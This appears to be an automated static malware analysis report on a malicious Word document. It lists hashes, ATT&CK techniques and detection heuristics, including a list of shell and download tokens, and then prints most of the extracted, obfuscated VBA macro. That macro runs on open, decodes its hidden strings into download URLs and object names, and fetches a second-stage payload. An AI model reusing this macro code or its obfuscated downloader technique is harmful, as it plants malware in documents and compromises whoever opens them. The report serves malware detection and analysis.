Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 53a0177376a77a32…

MALICIOUS

Office (OLE) / .DOC

232.5 KB Created: 2023-03-21 21:39:00 Authoring application: Microsoft Office Word First seen: 2023-03-22
MD5: 49a307bb3ccce451737f2d6ba035efcf SHA-1: 7b2c5658f14b2999d4d2de3108a1ffeb04f0d899 SHA-256: 53a0177376a77a326faff38d768c0e373120e558b72719340ff557ce28034567
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing obfuscated VBA macros. The macros utilize CreateObject and CallByName functions, indicating an attempt to execute arbitrary code. The presence of an AutoOpen macro suggests it runs automatically upon opening the document. The primary function of the script appears to be downloading and executing a second-stage payload, though the exact URL is obfuscated.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set cNqKqr = CreateObject(KIg)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    Iqinv = CallByName(xsGq, EEHNgvuZ, 2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Related samples 7

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40744 bytes
SHA-256: 1bd769751cb2f5ed125e09d376b4770474087d2db9889f73ab2c6c219243df6f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
182 of 254 identifiers look randomly generated (e.g. 'RIWzEUZZlXEOpkvIHdCnQZwmwVONWliLlePIxAyu') — consistent with name-mangling obfuscation. Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function Iqinv(xsGq As Object) As String
Dim EEHNgvuZ As String
Dim WmjgX As String
Dim hQjBl(22) As Long
Dim QKjSE As Long
QKjSE = 12
WmjgX = "IeTdtepKdsBxQZBabHptBKMAamRenoepanszHrJrimsfUokRnzfy"
hQjBl(0) = 38
hQjBl(1) = 2
hQjBl(2) = 10
hQjBl(3) = 7
hQjBl(4) = 30
hQjBl(5) = 29
hQjBl(6) = 10
hQjBl(7) = 2
hQjBl(8) = 11
hQjBl(9) = 30
hQjBl(10) = 4
hQjBl(11) = 52
hQjBl(12) = 19
hQjBl(13) = 16
hQjBl(14) = 10
hQjBl(15) = 47
hQjBl(16) = 26
hQjBl(17) = 32
hQjBl(18) = 27
hQjBl(19) = 23
hQjBl(20) = 52
hQjBl(21) = 49
EEHNgvuZ = caNdwHC(WmjgX, hQjBl, QKjSE)
Iqinv = CallByName(xsGq, EEHNgvuZ, 2)
End Function
Sub GqJRR(bwGmSVtv As Object, xy As String)
Dim zxFYQ As String
Dim uM As String
Dim mgPp(18) As Long
Dim nhDXpXoD As Long
nhDXpXoD = 12
uM = "NfIGlkqVbthheglFFIWlxnUnDDxAsNeeNKpKlrDmfpJFKBoVheuiQojdazxEdoaNObF"
mgPp(0) = 25
mgPp(1) = 13
mgPp(2) = 5
mgPp(3) = 13
mgPp(4) = 10
mgPp(5) = 13
mgPp(6) = 16
mgPp(7) = 47
mgPp(8) = 5
mgPp(9) = 56
mgPp(10) = 13
mgPp(11) = 38
mgPp(12) = 54
mgPp(13) = 56
mgPp(14) = 26
mgPp(15) = 49
mgPp(16) = 60
mgPp(17) = 40
zxFYQ = caNdwHC(uM, mgPp, nhDXpXoD)
CallByName bwGmSVtv, zxFYQ, 1, xy
End Sub
Sub VOp(xeL As Object, tTEkGiY As String)
Dim PAO As String
Dim Xhb As String
Dim SbuxG(11) As Long
Dim VBL As Long
VBL = 4
Xhb = "BIDAcbedcTSoLazpnmODFlgBjFDmtcZPprw"
SbuxG(0) = 19
SbuxG(1) = 16
SbuxG(2) = 7
SbuxG(3) = 17
SbuxG(4) = 15
SbuxG(5) = 28
SbuxG(6) = 4
SbuxG(7) = 23
SbuxG(8) = 25
SbuxG(9) = 33
SbuxG(10) = 23
PAO = caNdwHC(Xhb, SbuxG, VBL)
Dim uwM As String
Dim bJvEn As String
Dim txLT(7) As Long
Dim sWuhOXM As Long
sWuhOXM = 3
bJvEn = "yvbfcdXeTyGwEu"
txLT(0) = 11
txLT(1) = 13
txLT(2) = 9
txLT(3) = 4
txLT(4) = 5
txLT(5) = 7
txLT(6) = 0
uwM = caNdwHC(bJvEn, txLT, sWuhOXM)
CallByName xeL, PAO, 1, uwM, tTEkGiY, False
Dim rgtuIt As String
Dim WVh As String
Dim WqVNl(11) As Long
Dim XyWGK As Long
XyWGK = 6
WVh = "hnCOhWENtnwipUoomrUlXIFMP"
WqVNl(0) = 4
WqVNl(1) = 13
WqVNl(2) = 9
WqVNl(3) = 12
WqVNl(4) = 15
WqVNl(5) = 2
WqVNl(6) = 9
WqVNl(7) = 17
WqVNl(8) = 11
WqVNl(9) = 24
WqVNl(10) = 17
rgtuIt = caNdwHC(WVh, WqVNl, XyWGK)
CallByName xeL, rgtuIt, 4, 4, 13056
End Sub
Function xTNbopD() As Object
Dim CQx As String
Dim xxJ As String
Dim ngVItZ(28) As Long
Dim evSbzkKF As Long
evSbzkKF = 17
xxJ = "TwoVAJxEHNtMoOHodoHWAzaNsbWrVpIx.TGXinhHiagbZelAwaSNOStplPlPHcihEXnvGmpALchJcyvlmnhljGiVnfUT"
ngVItZ(0) = 51
ngVItZ(1) = 39
ngVItZ(2) = 46
ngVItZ(3) = 47
ngVItZ(4) = 47
ngVItZ(5) = 33
ngVItZ(6) = 5
ngVItZ(7) = 30
ngVItZ(8) = 30
ngVItZ(9) = 47
ngVItZ(10) = 37
ngVItZ(11) = 62
ngVItZ(12) = 23
ngVItZ(13) = 11
ngVItZ(14) = 37
ngVItZ(15) = 3
ngVItZ(16) = 38
ngVItZ(17) = 84
ngVItZ(18) = 55
ngVItZ(19) = 37
ngVItZ(20) = 73
ngVItZ(21) = 32
ngVItZ(22) = 47
ngVItZ(23) = 66
ngVItZ(24) = 51
ngVItZ(25) = 25
ngVItZ(26) = 51
ngVItZ(27) = 26
CQx = caNdwHC(xxJ, ngVItZ, evSbzkKF)
Set xTNbopD = cNqKqr(CQx)
End Function
Function OVMHT() As Object
Dim iZCgrr As String
Dim GkUBl As String
Dim QGuF(73) As Long
Dim lxxH As Long
lxxH = 26
GkUBl = "tKyDxJXipEytHpKiYEJWaPSRfAevRhOhZpnSfcuQvVpkNqtbsOKEXjt.rpEYiLxnDZqSgeGuyqcQ5HbYouoyWntAmayaIG1tL.eQkPznN.WrKDV"
QGuF(0) = 20
QGuF(1) = 8
QGuF(2) = 35
QGuF(3) = 13
QGuF(4) = 1
QGuF(5) = 1
QGuF(6) = 9
QGuF(7) = 56
QGuF(8) = 20
QGuF(9) = 8
QGuF(10) = 35
QGuF(11) = 13
QGuF(12) = 1
QGuF(13) = 1
QGuF(14) = 9
QGuF(15) = 24
QGuF(16) = 27
QGuF(17) = 46
QGuF(18) = 39
QGuF(19) = 27
QGuF(20) = 49
QGuF(21) = 1
QGuF(22) = 56
QGuF(23) = 77
QGuF(24) = 56
QGuF(25) = 95
QGuF(26) = 86
QGuF(27) = 83
QGuF(28) = 43
QGuF(29) = 0
QGuF(30) = 90
QGuF(31) = 84
QGuF(32) = 84
QGuF(33) = 5
QGuF(34) = 28
QGuF(35) = 60
QGuF(36) = 58
QGuF(37) = 1
QGuF(38) = 110
QGuF(39) = 48
QGuF(40) = 102
QGuF(41) = 33
QGuF(42) = 79
QGuF(43) = 7
QGuF(44) = 39
QGuF(45) = 56
QGuF(46) = 67
QGuF(47) = 74
QGuF(48) = 86
QGuF(49) = 96
QGuF(50) = 49
QGuF(51) = 73
QGuF(52) = 73
QGuF(53) = 85
QGuF(54) = 80
QGuF(55) = 74
QGuF(56) = 36
QGuF(57) = 2
QGuF(58) = 109
QGuF(59) = 50
QGuF(60) = 61
QGuF(61) = 34
QGuF(62) = 18
QGuF(63) = 93
QGuF(64) = 3
QGuF(65) = 85
QGuF(66) = 86
QGuF(67) = 55
QGuF(68) = 91
QGuF(69) = 11
QGuF(70) = 27
QGuF(71) = 65
QGuF(72) = 111
iZCgrr = caNdwHC(GkUBl, QGuF, lxxH)
Set OVMHT = cNqKqr(iZCgrr)
End Function
Function THGtdxE() As String
Dim dprXMoU As String
Dim zU As String
Dim EmYtZ As String
Dim wJC As String
Dim BWX(8) As Long
Dim QfwIS As Long
QfwIS = 4
wJC = "JSbSLzLoHgkMhetPSJgaIvX"
BWX(0) = 16
BWX(1) = 20
BWX(2) = 15
BWX(3) = 13
BWX(4) = 23
BWX(5) = 6
BWX(6) = 16
BWX(7) = 0
EmYtZ = caNdwHC(wJC, BWX, QfwIS)
Dim ZID As String
Dim nLWLAc As String
Dim Eqz(1) As Long
Dim YTXTKjP As Long
YTXTKjP = 1
nLWLAc = "\ebve"
Eqz(0) = 1
ZID = caNdwHC(nLWLAc, Eqz, YTXTKjP)
dprXMoU = CallByName(ActiveDocument, EmYtZ, 2)
zU = wAJoXNK()
THGtdxE = dprXMoU & ZID & zU
End Function
Function ZaSvuy(XzJEjYt As Object, XoNiKwbN As String) As Object
Dim CXOphGsw As Variant
Dim kdKvsRL As String
Dim OsAeza As String
Dim YCSl(22) As Long
Dim oDGMtQ As Long
oDGMtQ = 9
OsAeza = "cHFiegwRxGyMazXFJXmWenkylcpjInEGmWSUEjBSLOsuAKQfqDNwacnkLajjwaM"
YCSl(0) = 51
YCSl(1) = 13
YCSl(2) = 19
YCSl(3) = 5
YCSl(4) = 43
YCSl(5) = 27
YCSl(6) = 13
YCSl(7) = 1
YCSl(8) = 5
YCSl(9) = 9
YCSl(10) = 50
YCSl(11) = 38
YCSl(12) = 19
YCSl(13) = 52
YCSl(14) = 20
YCSl(15) = 15
YCSl(16) = 32
YCSl(17) = 0
YCSl(18) = 10
YCSl(19) = 17
YCSl(20) = 17
YCSl(21) = 28
kdKvsRL = caNdwHC(OsAeza, YCSl, oDGMtQ)
CXOphGsw = CVar(XoNiKwbN)
Set ZaSvuy = CallByName(XzJEjYt, kdKvsRL, 1, CXOphGsw)
End Function
Sub tNPieMAm(dL As Object, Vz As String)
Dim ccKMjZG As String
Dim aeUQ As String
Dim kQSYnDj(15) As Long
Dim PqO As Long
PqO = 10
aeUQ = "lytDFeFeSeXoXLXTDlinwztbVMTlkwKFeVVdeZAIRRH"
kQSYnDj(0) = 4
kQSYnDj(1) = 6
kQSYnDj(2) = 1
kQSYnDj(3) = 6
kQSYnDj(4) = 3
kQSYnDj(5) = 6
kQSYnDj(6) = 5
kQSYnDj(7) = 19
kQSYnDj(8) = 1
kQSYnDj(9) = 6
kQSYnDj(10) = 6
kQSYnDj(11) = 5
kQSYnDj(12) = 9
kQSYnDj(13) = 6
kQSYnDj(14) = 21
ccKMjZG = caNdwHC(aeUQ, kQSYnDj, PqO)
CallByName dL, ccKMjZG, 1, Vz
End Sub
Function caNdwHC(HZ As String, xlcD() As Long, gwGntR As Long) As String
Dim RMWEIG As String
Dim JQmGo As Variant
gwGntR = gwGntR - 1
For kcyeBtDu = 0 To gwGntR
JQmGo = Mid(HZ, xlcD(kcyeBtDu), 1)
RMWEIG = RMWEIG & JQmGo
Next kcyeBtDu
caNdwHC = RMWEIG
End Function
Function fFF() As Object
Dim MqZ As String
Dim zUbCTT As String
Dim Syk(15) As Long
Dim gVjsgnc As Long
gVjsgnc = 12
zUbCTT = "ZKOMamBthsweZPocvWSHMQVmGYSqoEjBmqDMRZJDdPUrDTXZWgnvbXXGVUaZRhKZ.gQAtmiVjGgSPXBDUGjlqsrowHD"
Syk(0) = 68
Syk(1) = 35
Syk(2) = 3
Syk(3) = 35
Syk(4) = 7
Syk(5) = 65
Syk(6) = 19
Syk(7) = 8
Syk(8) = 44
Syk(9) = 12
Syk(10) = 5
Syk(11) = 6
Syk(12) = 60
Syk(13) = 8
Syk(14) = 39
MqZ = caNdwHC(zUbCTT, Syk, gVjsgnc)
Set fFF = cNqKqr(MqZ)
End Function
Sub NFXoqP(yLenWwN As Object, VrWPxv() As Byte)
Dim CDZLGDO As String
Dim NnG As String
Dim XtXopYBA(14) As Long
Dim AEak As Long
AEak = 5
NnG = "qrtWKqxqiDxrZeExtRYuiNoMsnVtkqiBabWkNxCT"
XtXopYBA(0) = 4
XtXopYBA(1) = 2
XtXopYBA(2) = 9
XtXopYBA(3) = 3
XtXopYBA(4) = 14
XtXopYBA(5) = 17
XtXopYBA(6) = 12
XtXopYBA(7) = 39
XtXopYBA(8) = 25
XtXopYBA(9) = 6
XtXopYBA(10) = 16
XtXopYBA(11) = 29
XtXopYBA(12) = 3
XtXopYBA(13) = 19
CDZLGDO = caNdwHC(NnG, XtXopYBA, AEak)
CallByName yLenWwN, CDZLGDO, 1, VrWPxv
End Sub
Sub ZxYq(EbCra() As Byte, kU As String)
Dim Slk As Object
Set Slk = fFF()
RCPqUQ Slk
nyiKYd Slk
NFXoqP Slk, EbCra
BDk Slk, kU
JMPb Slk
End Sub
Function jOsnxV() As Object
Dim AhaAoeMS As String
Dim Wh As String
Dim PLxaZQL(56) As Long
Dim pqGlrXN As Long
pqGlrXN = 26
Wh = "ycMhNavBjCcgaIHiTktkfexKtXZvhnPBSXZFImhpfIyPQQSGHpeMObjYKeHqmOywlFXBOuYziOvdtMIqsbPilxTiKmkTTklepWqekvmJQaicpReAQONegdpDUzbksccKdAoKOqgYKpQnvCsJNmtZj.cWilrQVsmETScBKomtvneSrFQgoubXScQsfHxwjsWJhF"
PLxaZQL(0) = 33
PLxaZQL(1) = 2
PLxaZQL(2) = 155
PLxaZQL(3) = 16
PLxaZQL(4) = 40
PLxaZQL(5) = 19
PLxaZQL(6) = 16
PLxaZQL(7) = 30
PLxaZQL(8) = 12
PLxaZQL(9) = 150
PLxaZQL(10) = 36
PLxaZQL(11) = 16
PLxaZQL(12) = 65
PLxaZQL(13) = 22
PLxaZQL(14) = 33
PLxaZQL(15) = 1
PLxaZQL(16) = 81
PLxaZQL(17) = 19
PLxaZQL(18) = 22
PLxaZQL(19) = 38
PLxaZQL(20) = 53
PLxaZQL(21) = 54
PLxaZQL(22) = 9
PLxaZQL(23) = 22
PLxaZQL(24) = 2
PLxaZQL(25) = 19
PLxaZQL(26) = 4
PLxaZQL(27) = 91
PLxaZQL(28) = 69
PLxaZQL(29) = 193
PLxaZQL(30) = 63
PLxaZQL(31) = 25
PLxaZQL(32) = 0
PLxaZQL(33) = 69
PLxaZQL(34) = 109
PLxaZQL(35) = 80
PLxaZQL(36) = 175
PLxaZQL(37) = 177
PLxaZQL(38) = 99
PLxaZQL(39) = 183
PLxaZQL(40) = 39
PLxaZQL(41) = 71
PLxaZQL(42) = 128
PLxaZQL(43) = 60
PLxaZQL(44) = 28
PLxaZQL(45) = 186
PLxaZQL(46) = 130
PLxaZQL(47) = 30
PLxaZQL(48) = 175
PLxaZQL(49) = 194
PLxaZQL(50) = 71
PLxaZQL(51) = 32
PLxaZQL(52) = 62
PLxaZQL(53) = 126
PLxaZQL(54) = 105
PLxaZQL(55) = 140
AhaAoeMS = caNdwHC(Wh, PLxaZQL, pqGlrXN)
Set jOsnxV = cNqKqr(AhaAoeMS)
End Function
Sub AutoOpen()
Dim YtuHZw As String
Dim lPvnMFKN As String
Dim wTmUqOBo As String
Dim wfmBf(95) As Long
Dim LO As Long
LO = 40
wTmUqOBo = "Qr/EIRgZmSGNNF/fRIgkatlauCPZzzGpnKrAtqqStxnLKYCWpoA/VeftZxViysIbuFlGwRI/tKNPFPeUHBRLGeWZvZBStii:BbRBjrRcXNdqqhbi.RIWzEUZZlXEOpkvIHdCnQZwmwVONWliLlePIxAyuEPMbDLtxVGSbdeNcTvoUazRSLakFcdgYZahPMwiliqLNkxdHwOgExQEHYjdWRowluftavUWvrZzDuABbArLsr8JlJDPgYxcJPBEMCHcXeUkmFhjlsABsczSLMxMFnViHkGq/vrdPleSYaRFoPaeaIvxIadiHiqBnRUkpxmfAmQSVZncErRVQZXvqfAGgWOsfjXwprvtosXooSkH"
wfmBf(0) = 110
wfmBf(1) = 22
wfmBf(2) = 22
wfmBf(3) = 32
wfmBf(4) = 96
wfmBf(5) = 3
wfmBf(6) = 3
wfmBf(7) = 104
wfmBf(8) = 50
wfmBf(9) = 33
wfmBf(10) = 16
wfmBf(11) = 54
wfmBf(12) = 107
wfmBf(13) = 54
wfmBf(14) = 2
wfmBf(15) = 21
wfmBf(16) = 22
wfmBf(17) = 60
wfmBf(18) = 50
wfmBf(19) = 33
wfmBf(20) = 104
wfmBf(21) = 60
wfmBf(22) = 38
wfmBf(23) = 113
wfmBf(24) = 16
wfmBf(25) = 2
wfmBf(26) = 3
wfmBf(27) = 60
wfmBf(28) = 9
wfmBf(29) = 21
wfmBf(30) = 7
wfmBf(31) = 54
wfmBf(32) = 62
wfmBf(33) = 3
wfmBf(34) = 239
wfmBf(35) = 6
wfmBf(36) = 5
wfmBf(37) = 14
wfmBf(38) = 2
wfmBf(39) = 3
wfmBf(40) = 195
wfmBf(41) = 287
wfmBf(42) = 261
wfmBf(43) = 82
wfmBf(44) = 2
wfmBf(45) = 77
wfmBf(46) = 16
wfmBf(47) = 276
wfmBf(48) = 206
wfmBf(49) = 331
wfmBf(50) = 356
wfmBf(51) = 159
wfmBf(52) = 198
wfmBf(53) = 115
wfmBf(54) = 135
wfmBf(55) = 174
wfmBf(56) = 325
wfmBf(57) = 71
wfmBf(58) = 23
wfmBf(59) = 102
wfmBf(60) = 262
wfmBf(61) = 223
wfmBf(62) = 274
wfmBf(63) = 312
wfmBf(64) = 266
wfmBf(65) = 123
wfmBf(66) = 274
wfmBf(67) = 185
wfmBf(68) = 154
wfmBf(69) = 109
wfmBf(70) = 51
wfmBf(71) = 5
wfmBf(72) = 257
wfmBf(73) = 274
wfmBf(74) = 248
wfmBf(75) = 88
wfmBf(76) = 146
wfmBf(77) = 110
wfmBf(78) = 242
wfmBf(79) = 189
wfmBf(80) = 67
wfmBf(81) = 35
wfmBf(82) = 352
wfmBf(83) = 345
wfmBf(84) = 0
wfmBf(85) = 96
wfmBf(86) = 109
wfmBf(87) = 82
wfmBf(88) = 25
wfmBf(89) = 161
wfmBf(90) = 145
wfmBf(91) = 185
wfmBf(92) = 352
wfmBf(93) = 79
wfmBf(94) = 249
lPvnMFKN = caNdwHC(wTmUqOBo, wfmBf, LO)
Dim WlRZYBe As String
Dim GWLc As String
Dim GNjE(46) As Long
Dim OBmvg As Long
OBmvg = 37
GWLc = ":OlFrovuSnrsJlWHfafsmfDpSOAVlppPAaRjUNduOtGkqWoIsu/dckmdnjRjONqZISUcsWjetpxeNkPZIgOpMgOxMAZoEeZlwhNhuCaafSGJtWU.MZk7KlxDYpmBvWZectMM.YZammifogsJaAECrszifWHkEhETlkWdnF/FALvSYJEuSCdSvpgsealpAajX/U/lfngwyURRgkvhuzHdeAtFaiFwEnofeRRcCbssBwDpEOXnV/LhkZKFJSjY"
GNjE(0) = 98
GNjE(1) = 42
GNjE(2) = 42
GNjE(3) = 24
GNjE(4) = 1
GNjE(5) = 51
GNjE(6) = 51
GNjE(7) = 12
GNjE(8) = 6
GNjE(9) = 21
GNjE(10) = 72
GNjE(11) = 82
GNjE(12) = 39
GNjE(13) = 24
GNjE(14) = 12
GNjE(15) = 3
GNjE(16) = 6
GNjE(17) = 3
GNjE(18) = 112
GNjE(19) = 116
GNjE(20) = 21
GNjE(21) = 112
GNjE(22) = 24
GNjE(23) = 3
GNjE(24) = 51
GNjE(25) = 39
GNjE(26) = 18
GNjE(27) = 42
GNjE(28) = 18
GNjE(29) = 230
GNjE(30) = 18
GNjE(31) = 12
GNjE(32) = 72
GNjE(33) = 51
GNjE(34) = 3
GNjE(35) = 8
GNjE(36) = 51
GNjE(37) = 192
GNjE(38) = 211
GNjE(39) = 144
GNjE(40) = 210
GNjE(41) = 33
GNjE(42) = 204
GNjE(43) = 228
GNjE(44) = 76
GNjE(45) = 137
WlRZYBe = caNdwHC(GWLc, GNjE, OBmvg)
Dim nYU As String
Dim qTliwn As String
Dim DOJBWQj(135) As Long
Dim JnSOzDP As Long
JnSOzDP = 57
qTliwn = "oPQv6haxZCowH-tpIyvpnbTHAxphLcFqWpSUKWPtOSQoHyigtlWmSvRCKTbwcSCmrgwuxcVKhnawpEtz/QRkxePtjYyXPfuFgmi9QtNtlGoErPlsHpE3CcipOzsEK/uEQLGIgxycBQ4kc/nEXvvyrtTyuw.FivANCY/xfuygpFE6UFpCt0Px/dmRHcFCm.oLeFuauoV0iahMSOOmzh:O"
DOJBWQj(0) = 6
DOJBWQj(1) = 15
DOJBWQj(2) = 15
DOJBWQj(3) = 16
DOJBWQj(4) = 112
DOJBWQj(5) = 211
DOJBWQj(6) = 81
DOJBWQj(7) = 81
DOJBWQj(8) = 112
DOJBWQj(9) = 68
DOJBWQj(10) = 16
DOJBWQj(11) = 16
DOJBWQj(12) = 50
DOJBWQj(13) = 47
DOJBWQj(14) = 86
DOJBWQj(15) = 65
DOJBWQj(16) = 30
DOJBWQj(17) = 47
DOJBWQj(18) = 15
DOJBWQj(19) = 18
DOJBWQj(20) = 155
DOJBWQj(21) = 30
DOJBWQj(22) = 1
DOJBWQj(23) = 52
DOJBWQj(24) = 155
DOJBWQj(25) = 52
DOJBWQj(26) = 8
DOJBWQj(27) = 81
DOJBWQj(28) = 12
DOJBWQj(29) = 16
DOJBWQj(30) = 14
DOJBWQj(31) = 30
DOJBWQj(32) = 1
DOJBWQj(33) = 21
DOJBWQj(34) = 15
DOJBWQj(35) = 86
DOJBWQj(36) = 21
DOJBWQj(37) = 15
DOJBWQj(38) = 81
DOJBWQj(39) = 8
DOJBWQj(40) = 178
DOJBWQj(41) = 68
DOJBWQj(42) = 5
DOJBWQj(43) = 12
DOJBWQj(44) = 35
DOJBWQj(45) = 23
DOJBWQj(46) = 178
DOJBWQj(47) = 116
DOJBWQj(48) = 18
DOJBWQj(49) = 5
DOJBWQj(50) = 92
DOJBWQj(51) = 139
DOJBWQj(52) = 100
DOJBWQj(53) = 204
DOJBWQj(54) = 41
DOJBWQj(55) = 32
DOJBWQj(56) = 81
DOJBWQj(57) = 63
DOJBWQj(58) = 19
DOJBWQj(59) = 116
DOJBWQj(60) = 63
DOJBWQj(61) = 81
DOJBWQj(62) = 56
DOJBWQj(63) = 125
DOJBWQj(64) = 183
DOJBWQj(65) = 53
DOJBWQj(66) = 210
DOJBWQj(67) = 128
DOJBWQj(68) = 48
DOJBWQj(69) = 136
DOJBWQj(70) = 88
DOJBWQj(71) = 95
DOJBWQj(72) = 169
DOJBWQj(73) = 48
DOJBWQj(74) = 86
DOJBWQj(75) = 98
DOJBWQj(76) = 168
DOJBWQj(77) = 148
DOJBWQj(78) = 115
DOJBWQj(79) = 72
DOJBWQj(80) = 99
DOJBWQj(81) = 199
DOJBWQj(82) = 28
DOJBWQj(83) = 49
DOJBWQj(84) = 55
DOJBWQj(85) = 87
DOJBWQj(86) = 136
DOJBWQj(87) = 28
DOJBWQj(88) = 88
DOJBWQj(89) = 90
DOJBWQj(90) = 186
DOJBWQj(91) = 11
DOJBWQj(92) = 28
DOJBWQj(93) = 98
DOJBWQj(94) = 6
DOJBWQj(95) = 113
DOJBWQj(96) = 181
DOJBWQj(97) = 166
DOJBWQj(98) = 212
DOJBWQj(99) = 106
DOJBWQj(100) = 192
DOJBWQj(101) = 127
DOJBWQj(102) = 92
DOJBWQj(103) = 90
DOJBWQj(104) = 146
DOJBWQj(105) = 109
DOJBWQj(106) = 163
DOJBWQj(107) = 108
DOJBWQj(108) = 20
DOJBWQj(109) = 136
DOJBWQj(110) = 49
DOJBWQj(111) = 147
DOJBWQj(112) = 15
DOJBWQj(113) = 58
DOJBWQj(114) = 107
DOJBWQj(115) = 21
DOJBWQj(116) = 148
DOJBWQj(117) = 180
DOJBWQj(118) = 52
DOJBWQj(119) = 12
DOJBWQj(120) = 47
DOJBWQj(121) = 9
DOJBWQj(122) = 126
DOJBWQj(123) = 137
DOJBWQj(124) = 114
DOJBWQj(125) = 110
DOJBWQj(126) = 82
DOJBWQj(127) = 59
DOJBWQj(128) = 88
DOJBWQj(129) = 118
DOJBWQj(130) = 104
DOJBWQj(131) = 123
DOJBWQj(132) = 184
DOJBWQj(133) = 203
DOJBWQj(134) = 133
nYU = caNdwHC(qTliwn, DOJBWQj, JnSOzDP)
Dim qKxWPN As String
Dim UztL As String
Dim baFii(147) As Long
Dim VxwReNt As Long
VxwReNt = 54
UztL = "rhotgEmtZtptmalWVhhsmyHtxdcFfntahSfWgA/MdctRoDt/mOK/gewUTXgS.slcxJSULdIurUs/gUYQGoIsqaYsacrTgeDdkKEiYyKArnBIeVspiHOnxwKJSNuNyuMSHyQLBVlaxBnqpEUTQRjEGoTiZePAfnbbAavvmEKLczpbbKiwsinnVNELlLbiDQixniRmcbZLeOj8POj/-kBiLmzylyoqCfNFFfKqEEmlTLLAKnnWXztIeLgnD:zGZRzZwtCpgBgvET"
baFii(0) = 2
baFii(1) = 4
baFii(2) = 4
baFii(3) = 11
baFii(4) = 20
baFii(5) = 250
baFii(6) = 39
baFii(7) = 39
baFii(8) = 20
baFii(9) = 14
baFii(10) = 27
baFii(11) = 2
baFii(12) = 100
baFii(13) = 30
baFii(14) = 100
baFii(15) = 30
baFii(16) = 4
baFii(17) = 54
baFii(18) = 1
baFii(19) = 30
baFii(20) = 14
baFii(21) = 4
baFii(22) = 100
baFii(23) = 3
baFii(24) = 30
baFii(25) = 14
baFii(26) = 15
baFii(27) = 61
baFii(28) = 27
baFii(29) = 3
baFii(30) = 7
baFii(31) = 39
baFii(32) = 55
baFii(33) = 11
baFii(34) = 209
baFii(35) = 14
baFii(36) = 26
baFii(37) = 7
baFii(38) = 100
baFii(39) = 30
baFii(40) = 39
baFii(41) = 71
baFii(42) = 69
baFii(43) = 17
baFii(44) = 46
baFii(45) = 30
baFii(46) = 15
baFii(47) = 7
baFii(48) = 71
baFii(49) = 38
baFii(50) = 57
baFii(51) = 159
baFii(52) = 204
baFii(53) = 39
baFii(54) = 108
baFii(55) = 80
baFii(56) = 150
baFii(57) = 117
baFii(58) = 263
baFii(59) = 146
baFii(60) = 218
baFii(61) = 186
baFii(62) = 173
baFii(63) = 213
baFii(64) = 219
baFii(65) = 169
baFii(66) = 121
baFii(67) = 205
baFii(68) = 90
baFii(69) = 125
baFii(70) = 192
baFii(71) = 220
baFii(72) = 183
baFii(73) = 185
baFii(74) = 215
baFii(75) = 144
baFii(76) = 59
baFii(77) = 131
baFii(78) = 160
baFii(79) = 3
baFii(80) = 76
baFii(81) = 120
baFii(82) = 106
baFii(83) = 186
baFii(84) = 249
baFii(85) = 266
baFii(86) = 176
baFii(87) = 35
baFii(88) = 220
baFii(89) = 221
baFii(90) = 167
baFii(91) = 5
baFii(92) = 6
baFii(93) = 11
baFii(94) = 92
baFii(95) = 169
baFii(96) = 141
baFii(97) = 9
baFii(98) = 17
baFii(99) = 80
baFii(100) = 251
baFii(101) = 133
baFii(102) = 115
baFii(103) = 71
baFii(104) = 72
baFii(105) = 246
baFii(106) = 169
baFii(107) = 244
baFii(108) = 196
baFii(109) = 208
baFii(110) = 140
baFii(111) = 254
baFii(112) = 251
baFii(113) = 96
baFii(114) = 71
baFii(115) = 54
baFii(116) = 105
baFii(117) = 71
baFii(118) = 136
baFii(119) = 71
baFii(120) = 194
baFii(121) = 93
baFii(122) = 80
baFii(123) = 188
baFii(124) = 31
baFii(125) = 197
baFii(126) = 109
baFii(127) = 252
baFii(128) = 167
baFii(129) = 181
baFii(130) = 165
baFii(131) = 114
baFii(132) = 63
baFii(133) = 232
baFii(134) = 239
baFii(135) = 109
baFii(136) = 105
baFii(137) = 263
baFii(138) = 233
baFii(139) = 66
baFii(140) = 80
baFii(141) = 60
baFii(142) = 181
baFii(143) = 142
baFii(144) = 209
baFii(145) = 16
baFii(146) = 71
qKxWPN = caNdwHC(UztL, baFii, VxwReNt)
